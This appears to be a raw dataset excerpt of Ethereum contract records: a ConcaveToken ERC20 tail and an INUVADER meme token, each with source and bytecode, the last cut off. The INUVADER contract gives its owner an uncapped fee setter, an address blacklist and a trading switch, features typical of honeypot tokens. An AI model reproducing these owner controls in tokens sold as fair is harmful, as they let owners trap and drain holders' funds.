* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ConcaveToken is Ownable, ERC20("Concave", "CNV", 18) {
/* -------------------------------------------------------------------------- */
/* EVENTS */
/* -------------------------------------------------------------------------- */
event MinterSet(address indexed caller, address indexed who, bool indexed canMint);
mapping(address => bool) public isMinter;
address[] public minters;
/* -------------------------------------------------------------------------- */
/* ACCESS CONTROLLED */
/* -------------------------------------------------------------------------- */
function mint(
address account,
uint256 amount
) external {
require(isMinter[msg.sender], "!MINTER");
_mint(account, amount);
}
function burn(
address account,
uint256 amount
) external {
require(isMinter[msg.sender], "!MINTER");
_burn(account, amount);
}
function setMinter(
address who,
bool canMint
) external onlyOwner {
if (canMint == true && isMinter[who] == false ) minters.push(who);
isMinter[who] = canMint;
emit MinterSet(msg.sender, who, canMint);
}
function mintersLength() external view returns(uint256) {
return minters.length;
}
}
/**
"someone spent a lot of computational power and time to bruteforce that contract address
so basically to have that many leading zeros
you can't just create a contract and get that, the odds are 1 in trillions to get something like that
there's a way to guess which contract address you will get, using a script.. and you have to bruteforce for a very long time to get that many leading 0's
fun fact, the more leading 0's a contract has, the cheaper gas will be for users to interact with the contract"
- some solidity dev
© 2022 WTFPL – Do What the Fuck You Want to Public License.
*/
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638623ec7b116100b8578063aa271e1a1161007c578063aa271e1a146102e1578063c37bbabc14610304578063cf456ae71461030c578063d505accf1461031f578063dd62ed3e14610332578063f2fde38b1461035d57600080fd5b80638623ec7b146102775780638da5cb5b146102a257806395d89b41146102b35780639dc29fac146102bb578063a9059cbb146102ce57600080fd5b8063313ce5671161010a578063313ce567146101d95780633644e5151461021257806340c10f191461021a57806370a082311461022f578063715018a61461024f5780637ecebe001461025757600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019f57806330adf81f146101b2575b600080fd5b61014f610370565b60405161015c9190610cb6565b60405180910390f35b610178610173366004610d27565b6103fe565b604051901515815260200161015c565b61019160035481565b60405190815260200161015c565b6101786101ad366004610d51565b61046a565b6101917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6102007f000000000000000000000000000000000000000000000000000000000000001281565b60405160ff909116815260200161015c565b61019161054a565b61022d610228366004610d27565b6105a5565b005b61019161023d366004610d8d565b60046020526000908152604090205481565b61022d610601565b610191610265366004610d8d565b60066020526000908152604090205481565b61028a610285366004610daf565b610637565b6040516001600160a01b03909116815260200161015c565b6000546001600160a01b031661028a565b61014f610661565b61022d6102c9366004610d27565b61066e565b6101786102dc366004610d27565b6106c1565b6101786102ef366004610d8d565b60076020526000908152604090205460ff1681565b600854610191565b61022d61031a366004610dc8565b610727565b61022d61032d366004610e04565b610824565b610191610340366004610e77565b600560209081526000928352604080842090915290825290205481565b61022d61036b366004610d8d565b610a75565b6001805461037d90610eaa565b80601f01602080910402602001604051908101604052809291908181526020018280546103a990610eaa565b80156103f65780601f106103cb576101008083540402835291602001916103f6565b820191906000526020600020905b8154815290600101906020018083116103d957829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104599086815260200190565b60405180910390a350600192915050565b6001600160a01b038316600090815260056020908152604080832033845290915281205460001981146104c6576104a18382610efb565b6001600160a01b03861660009081526005602090815260408083203384529091529020555b6001600160a01b038516600090815260046020526040812080548592906104ee908490610efb565b90915550506001600160a01b0380851660008181526004602052604090819020805487019055519091871690600080516020610ffc833981519152906105379087815260200190565b60405180910390a3506001949350505050565b60007f000000000000000000000000000000000000000000000000000000000000000146146105805761057b610b10565b905090565b507fb3871005bf5dd12374191ec6483d5de5ac1162465efc8c4fc529a83dc2739bbd90565b3360009081526007602052604090205460ff166105f35760405162461bcd60e51b815260206004820152600760248201526610a6a4a72a22a960c91b60448201526064015b60405180910390fd5b6105fd8282610baa565b5050565b6000546001600160a01b0316331461062b5760405162461bcd60e51b81526004016105ea90610f12565b6106356000610c04565b565b6008818154811061064757600080fd5b6000918252602090912001546001600160a01b0316905081565b6002805461037d90610eaa565b3360009081526007602052604090205460ff166106b75760405162461bcd60e51b815260206004820152600760248201526610a6a4a72a22a960c91b60448201526064016105ea565b6105fd8282610c54565b336000908152600460205260408120805483919083906106e2908490610efb565b90915550506001600160a01b03831660008181526004602052604090819020805485019055513390600080516020610ffc833981519152906104599086815260200190565b6000546001600160a01b031633146107515760405162461bcd60e51b81526004016105ea90610f12565b600181151514801561077c57506001600160a01b03821660009081526007602052604090205460ff16155b156107cd57600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b038216600081815260076020526040808220805460ff1916851515908117909155905190929133917f9e83b60577a847f7aec99ac60cc404d84b6fae0df5a54aaf535394add0fc7de79190a45050565b428410156108745760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064016105ea565b600061087e61054a565b6001600160a01b0389811660008181526006602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938c166060840152608083018b905260a083019390935260c08083018a90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015610997573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906109cd5750886001600160a01b0316816001600160a01b0316145b610a0a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016105ea565b6001600160a01b0390811660009081526005602090815260408083208b8516808552908352928190208a905551898152919350918a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b81526004016105ea90610f12565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b610b0d81610c04565b50565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610b429190610f47565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b8060036000828254610bbc9190610fe3565b90915550506001600160a01b038216600081815260046020908152604080832080548601905551848152600080516020610ffc83398151915291015b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821660009081526004602052604081208054839290610c7c908490610efb565b90915550506003805482900390556040518181526000906001600160a01b03841690600080516020610ffc83398151915290602001610bf8565b600060208083528351808285015260005b81811015610ce357858101830151858201604001528201610cc7565b81811115610cf5576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d2257600080fd5b919050565b60008060408385031215610d3a57600080fd5b610d4383610d0b565b946020939093013593505050565b600080600060608486031215610d6657600080fd5b610d6f84610d0b565b9250610d7d60208501610d0b565b9150604084013590509250925092565b600060208284031215610d9f57600080fd5b610da882610d0b565b9392505050565b600060208284031215610dc157600080fd5b5035919050565b60008060408385031215610ddb57600080fd5b610de483610d0b565b915060208301358015158114610df957600080fd5b809150509250929050565b600080600080600080600060e0888a031215610e1f57600080fd5b610e2888610d0b565b9650610e3660208901610d0b565b95506040880135945060608801359350608088013560ff81168114610e5a57600080fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215610e8a57600080fd5b610e9383610d0b565b9150610ea160208401610d0b565b90509250929050565b600181811c90821680610ebe57607f821691505b60208210811415610edf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610f0d57610f0d610ee5565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080835481600182811c915080831680610f6357607f831692505b6020808410821415610f8357634e487b7160e01b86526022600452602486fd5b818015610f975760018114610fa857610fd5565b60ff19861689528489019650610fd5565b60008a81526020902060005b86811015610fcd5781548b820152908501908301610fb4565b505084890196505b509498975050505050505050565b60008219821115610ff657610ff6610ee5565b50019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220e2adcf16cd8ba83f47acae59f12c4db79fe3fbdd38691bee3d4edc0bd009739b64736f6c634300080b0033
|
{"success": true, "error": null, "results": {}}
| 9,317 |
0x7190e5e9496fd642c03da24ad7b5bb9f3a95bc30
|
/**
*Submitted for verification at Etherscan.io on 2022-05-05
*/
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
/*
.___ ____ ____ .___
| | ____ __ _\ \ / /____ __| _/___________
| |/ \| | \ Y /\__ \ / __ |/ __ \_ __ \
| | | \ | /\ / / __ \_/ /_/ \ ___/| | \/
|___|___| /____/ \___/ (____ /\____ |\___ >__|
\/ \/ \/ \/
May the force be with you.
Find us on https://t.me/INUVADER
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract INUVADER is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "INUVADER";
string private constant _symbol = "INUVAD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x1268BF41d3E97AF41d7c602bEe52e46D22F8fC25);
address payable private _marketingAddress = payable(0x1268BF41d3E97AF41d7c602bEe52e46D22F8fC25);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 50000000 * 10**9;
uint256 public _maxWalletSize = 150000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setmaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e1461065c578063ea1644d514610699578063f2fde38b146106c2578063fc342279146106eb576101d7565b8063b0c2b561146105b6578063bfd79284146105df578063c3c8cd801461061c578063c492f04614610633576101d7565b806395d89b41116100d157806395d89b41146104fc57806398a5c31514610527578063a2a957bb14610550578063a9059cbb14610579576101d7565b80638da5cb5b1461047d5780638f70ccf7146104a85780638f9a55c0146104d1576101d7565b8063313ce5671161016f57806370a082311161013e57806370a08231146103c1578063715018a6146103fe5780637d1db4a5146104155780637f2feddc14610440576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636fc3eaec146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d51565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e22565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e7a565b61087b565b6040516102649190612ed5565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f4f565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f79565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f94565b6108cf565b6040516102f79190612ed5565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f79565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190613003565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b604051610378919061302d565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613048565b6109dd565b005b3480156103b657600080fd5b506103bf610acd565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190613048565b610b9e565b6040516103f59190612f79565b60405180910390f35b34801561040a57600080fd5b50610413610bef565b005b34801561042157600080fd5b5061042a610d42565b6040516104379190612f79565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190613048565b610d48565b6040516104749190612f79565b60405180910390f35b34801561048957600080fd5b50610492610d60565b60405161049f919061302d565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906130a1565b610d89565b005b3480156104dd57600080fd5b506104e6610e3b565b6040516104f39190612f79565b60405180910390f35b34801561050857600080fd5b50610511610e41565b60405161051e9190612e22565b60405180910390f35b34801561053357600080fd5b5061054e600480360381019061054991906130ce565b610e7e565b005b34801561055c57600080fd5b50610577600480360381019061057291906130fb565b610f1d565b005b34801561058557600080fd5b506105a0600480360381019061059b9190612e7a565b610fd4565b6040516105ad9190612ed5565b60405180910390f35b3480156105c257600080fd5b506105dd60048036038101906105d891906130ce565b610ff2565b005b3480156105eb57600080fd5b5061060660048036038101906106019190613048565b611091565b6040516106139190612ed5565b60405180910390f35b34801561062857600080fd5b506106316110b1565b005b34801561063f57600080fd5b5061065a600480360381019061065591906131bd565b61118a565b005b34801561066857600080fd5b50610683600480360381019061067e919061321d565b6112c4565b6040516106909190612f79565b60405180910390f35b3480156106a557600080fd5b506106c060048036038101906106bb91906130ce565b61134b565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190613048565b6113ea565b005b3480156106f757600080fd5b50610712600480360381019061070d91906130a1565b6115ab565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132a9565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613327565b9150506107ac565b5050565b60606040518060400160405280600881526020017f494e555641444552000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000678ac7230489e80000905090565b60006108dc84848461182e565b61099d846108e861165d565b61099885604051806060016040528060288152602001613d6760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b19092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0e61165d565b73ffffffffffffffffffffffffffffffffffffffff161480610b845750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b6c61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610b8d57600080fd5b6000479050610b9b81612115565b50565b6000610be8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612181565b9050919050565b610bf761165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffff